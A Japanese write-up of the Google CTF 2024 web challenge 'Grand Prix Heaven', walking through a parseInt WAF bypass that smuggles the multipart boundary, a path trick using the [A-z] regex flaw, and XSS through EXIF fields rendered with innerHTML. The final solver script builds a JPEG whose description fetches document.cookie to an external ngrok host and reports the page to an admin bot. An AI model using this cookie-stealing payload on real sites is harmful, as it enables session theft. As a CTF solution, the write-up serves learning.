🏎️

Google CTF - Grand Prix Heaven

2024/07/04に公開

Google CTF

169pt, クリア率67/267チーム

勉強がてら解いてみたので解説

問題

独自テンプレートサーバーを動かしているtemplate_serverと、Webサーバーのheaven_serverがある。

heaven_serverには/api/new-carという車を登録するAPIがある

heaven_server/index.js
app.post("/api/new-car", async (req, res) => {
  let response = {
    img_id: "",
    config_id: "",
  };
  try {
    if (req.files && req.files.image) {
      const reqImg = req.files.image;
      if (reqImg.mimetype !== "image/jpeg") throw new Error("wrong mimetype");
      let request_img = reqImg.data;
      let saved_img = await Media.create({
        img: request_img,
        public_id: nanoid.nanoid(),
      });
      response.img_id = saved_img.public_id;
    }
    let custom = req.body.custom || "";
    let saved_config = await Configuration.create({
      year: req.body.year,
      make: req.body.make,
      model: req.body.model,
      custom: custom,
      public_id: nanoid.nanoid(),
      img_id: response.img_id
    });
    response.config_id = saved_config.public_id;
    return res.redirect(`/fave/${response.config_id}?F1=${response.config_id}`);
  } catch (e) {
    console.log(`ERROR IN /api/new-car:\n${e}`);
    return res.status(400).json({ error: "An error occurred" });
  }
});

送られた内容は、/fave/:GrandPrixHeavenのページで確認することができる。

heaven_server/index.js
app.get("/fave/:GrandPrixHeaven", async (req, res) => {
  const grandPrix = await Configuration.findOne({
    where: { public_id: req.params.GrandPrixHeaven },
  });
  if (!grandPrix) return res.status(400).json({ error: "ERROR: ID not found" });
  let defaultData = {
    ...
  };
  let needleBody = defaultData;
  if (grandPrix.custom != "") {
    try {
      needleBody = JSON.parse(grandPrix.custom);
      for (const [k, v] of Object.entries(needleBody)) {
        if (!TEMPLATE_PIECES.includes(v.toLowerCase()) || !isNum(parseInt(k)) || typeof(v) == 'object')
          throw new Error("invalid template piece");
        // don't be sneaky. We need a CSP!
        if (parseInt(k) == 0 && v != "csp") throw new Error("No CSP");
      }
    } catch (e) {
      console.log(`ERROR IN /fave/:GrandPrixHeaven:\n${e}`);
      return res.status(400).json({ error: "invalid custom body" });
    }
  }
  needle.post(
    TEMPLATE_SERVER,
    needleBody,
    { multipart: true, boundary: BOUNDARY },
    function (err, resp, body) {
        ...
    }
  );
});

/fave/:GrandPrixHeavenは、needleというライブラリでtemplate_serverに送っている。ここで、grandPrix.customがテンプレートエンジンに読み込まれるが、WAFによって入力が限られている。

template_server/index.js

const parseMultipartData  = (data, boundary) => {
  var chunks = data.split(boundary);
  console.log(chunks)
  // always start with the <head> element
  var processedTemplate = templates.head_start;
  // to prevent loading an html page of arbitrarily large size, limit to just 7 at a time
  let end = 7;
  if (chunks.length-1 <= end) {
    end = chunks.length-1;
  }
  for (var i = 1; i < end; i++) {
    // seperate body from the header parts
    var lines = chunks[i].split('\r\n\r\n')
    .map((item) => item.replaceAll("\r\n", ""))
    .filter((item) => { return item != ''})
    for (const item of Object.keys(templates)) {
        if (lines.includes(item)) {
            processedTemplate += templates[item];
        }
    }
  }
  return processedTemplate;
}

const reqHandler = function (req, res) {
  res.setHeader("Content-Type", "text/html");
  var result;
  if (req.method == 'POST') {
    var body = ''
    req.on('data', function(data) {
      body += data
    })
    req.on('end', function() {
      var boundary = '--' + req.headers['content-type'].split("boundary=")[1];
      result = parseMultipartData(body, boundary);
      res.end(result);
    })
  } else {
    res.writeHead(400);
    return res.end();
  }
};

なんでも好きな文字列を埋め込まれるわけではなく、準備されたテンプレートから選ぶことしかできない。しかし、mediaparser.jsというファイルをインクルードでき、ここに脆弱性がありそう(後述)なので、これをインクルードすることが最初の目標。

Step1 SSTI

WAFは以下のとおりである

heaven_server/index.js
try {
  needleBody = JSON.parse(grandPrix.custom);
  for (const [k, v] of Object.entries(needleBody)) {
    if (!TEMPLATE_PIECES.includes(v.toLowerCase()) || !isNum(parseInt(k)) || typeof(v) == 'object')
      throw new Error("invalid template piece");
    // don't be sneaky. We need a CSP!
    if (parseInt(k) == 0 && v != "csp") throw new Error("No CSP");
  }
} catch (e) {
  console.log(`ERROR IN /fave/:GrandPrixHeaven:\n${e}`);
  return res.status(400).json({ error: "invalid custom body" });
}

TEMPLATE_PIECESmediaparserは含まれていなので、そのままmediaparserをcustomに入れただけでは、WAFに防がれてしまう。

ここで、template_serverに送られている情報を見ると次のようになっている。

--GP_HEAVEN
Content-Disposition: form-data; name="0"

csp
--GP_HEAVEN
Content-Disposition: form-data; name="1"

retrieve
--GP_HEAVEN
Content-Disposition: form-data; name="2"

apiparser
--GP_HEAVEN
Content-Disposition: form-data; name="3"

head_end
--GP_HEAVEN
Content-Disposition: form-data; name="4"

faves
--GP_HEAVEN
Content-Disposition: form-data; name="5"

footer
--GP_HEAVEN-- --GP_HEAVEN

template-serverはこれをこのように処理している。

template_server/indexjs
const parseMultipartData  = (data, boundary) => {
  var chunks = data.split(boundary);
  // always start with the <head> element
  ...

--GP_HEAVENでsplitしているので、customのJSONのどこかにこの文字列を埋め込めれば、誤作動させることができそう。WAFのparseIntに関するMDNを読んでみると、

もし parseInt が radix で指定された基数に含まれる数字以外の文字に遭遇した場合、その文字とそれに続くすべての文字を無視し、この点まで解釈できた整数値を返します。

したがって、parseInt("0--GP_HEAVEN")は0として解釈される。これによって、mediaparserを含めることができそうだ。

ここまでのソルバー。ついでに、CSPはCSPの要素を消せば普通に消えてくれるので消そう。

solver.py
import requests

URL = "https://grandprixheaven-web.2024.ctfcompetition.com/"

r = requests.post(URL + "api/new-car",
data={
    "year": 20999,
    "make": "foobar",
    "model": "F200422",
    "custom": """{
        "1--GP_HEAVENmediaparser--GP_HEAVEN": "retrieve",
        "2Z": "faves"
    }""",
})
id = r.url.split("F1=")[1]
print(r.url)

開いてみて、ヘッダーが追加されていることが確認できた。

Step2: mediaparserの利用

heaven_server/public/mediaparser.js
addEventListener("load", (event) => {
  params = new URLSearchParams(window.location.search);
  let requester = new Requester(params.get('F1'));
  try {
    let result = requester.makeRequest();
    result.then((resp) => {
        if (resp.headers.get('content-type') == 'image/jpeg') {
          var titleElem = document.getElementById("title-card");
          var dateElem = document.getElementById("date-card");
          var descElem = document.getElementById("desc-card");
          resp.arrayBuffer().then((imgBuf) => {
              const tags = ExifReader.load(imgBuf);
              descElem.innerHTML = tags['ImageDescription'].description;
              titleElem.innerHTML = tags['UserComment'].description;
              dateElem.innerHTML = tags['ICC Profile Date'].description;
          })
        }
    })
  } catch (e) {
    console.log("an error occurred with the Requester class.");
  }
});

mediaparser.jsを読んで見ると、画像を読み込むことができればXSSが可能っぽい。クエリパラメーターのF1の値をRequesterに読み込ませていることはわかるが、現状画像は読みこまれていないので、Reqesterが何をしているかを見てみる。

heaven_server/public/retrieve.js
class Requester {
    constructor(url) {
        const clean = (path) => {
          try {
            if (!path) throw new Error("no path");
            let re = new RegExp(/^[A-z0-9\s_-]+$/i);
            if (re.test(path)) {
              // normalize
              let cleaned = path.replaceAll(/\s/g, "");
              return cleaned;
            } else {
              throw new Error("regex fail");
            }
          } catch (e) {
            console.log(e);
            return "dfv";
          }
          };
        url = clean(url);
        this.url = new URL(url, 'http://localhost:1337/api/get-car/');
      }
    makeRequest() {
        return fetch(this.url).then((resp) => {
            if (!resp.ok){
                throw new Error('Error occurred when attempting to retrieve media data');
            }
            return resp;
        });
    }
  }

URL()の第二引数にhttp://localhost:1337/api/get-car/を指定しているので、このURLからの相対パスでリクエストを送れる。したがって、new URL(params.get('F1'), 'http://localhost:1337/api/get-car/')media/:image_idを示すようにしたい。

ただし、clean関数によって、使える文字が限られており、../といった内容は書き込めない。ただしよく読んでみると、[A-z]は、Zからaの間のASCII、つまり[\]^_を利用できることがわかる。特に、\/の代用として利用できる。また、urlが/\で始まると、オリジンからの相対パスとして扱われる。したがって、?F1=\media\:image_idが条件を満たす。

ここまでのソルバー。実際に画像を送るコードも記述した。

solver.py
import requests

URL = "https://grandprixheaven-web.2024.ctfcompetition.com/"


img_data = open("im.jpg", "rb")
r = requests.post(URL + "api/new-car",
data={
    "year": 20999,
    "make": "foobar",
    "model": "F200422",
    "custom": """{
        "1--GP_HEAVENmediaparser--GP_HEAVEN": "retrieve",
        "2Z": "faves"
    }""",
},
files={
    "image": ("image.jpg", img_data.read(), "image/jpeg")
})
id = r.url.split("F1=")[1]
print(r.url)
r = requests.get(URL + "api/get-car/" + id)
dat = r.json()
imgid = dat["img_id"]
targetURL = URL + "fave/" + id + "?F1=\\media\\" + imgid
print(targetURL)

ページを開くと、descriptionがないみたいなエラーが表示されていればOK。

Step 3: Exifを通したXSS

mediaparserのインジェクションができそうな箇所はこのようになっている。

heaven_server/public/mediaparser.js
const tags = ExifReader.load(imgBuf);
descElem.innerHTML = tags['ImageDescription'].description;
titleElem.innerHTML = tags['UserComment'].description;
dateElem.innerHTML = tags['ICC Profile Date'].description;

ExifReaderというライブラリを利用して、Exif情報を取り出し、それをHTMLに埋め込んでいる。

ExifにHTMLを埋め込んだ画像を送ればよい。方法はいろいろあると思うが、今回はpythonでコントロールすることを主軸において、pillowとpiexifを利用した。インジェクションを行えるフィールドは3つあるがImageDescriptionだけでも大丈夫。ICC Profile Dateだけ記述場所がわからなかった...Exifの詳細の仕様についてはまた勉強します。

最終的なソルバー

solver.py
import requests
import piexif
from PIL import Image
import io

URL = "https://grandprixheaven-web.2024.ctfcompetition.com/"
EVIL = "https://xxx.ngrok.app/"


inject = f"<img src=X onerror='fetch(`{EVIL}?cookie=${{document.cookie}}`)'>"

exif_dict = {"0th": {
    piexif.ImageIFD.ImageDescription: inject,
}, "EXIF": {
    piexif.ExifIFD.UserComment: "inject"
}}

original = Image.open("./im.jpg")
exif_bytes = piexif.dump(exif_dict)
with io.BytesIO() as i:
    original.save(i, "jpeg", exif=exif_bytes)
    img_data = i.getvalue()

r = requests.post(URL + "api/new-car",
data={
    "year": 20999,
    "make": "foobar",
    "model": "F200422",
    "custom": """{
        "1--GP_HEAVENmediaparser--GP_HEAVEN": "retrieve",
        "2Z": "faves"
    }""",
},
files={
    "image": ("image.jpg", img_data, "image/jpeg")
})
id = r.url.split("F1=")[1]
print(r.url)
r = requests.get(r.url)
r = requests.get(URL + "api/get-car/" + id)
dat = r.json()
imgid = dat["img_id"]
targetURL = URL + "fave/" + id + "?F1=\\media\\" + imgid
print(targetURL)
r = requests.post(URL + "report", data={"url": targetURL})
print(r.text)

まとめ

  • parseIntの仕様は結構いろいろできそうだから、仕様をよく読もう
  • WAFは目を凝らして抜け道を探そう
  • 細かいExifの仕様についてはForensicsが得意な人に聞いておこう

Discussion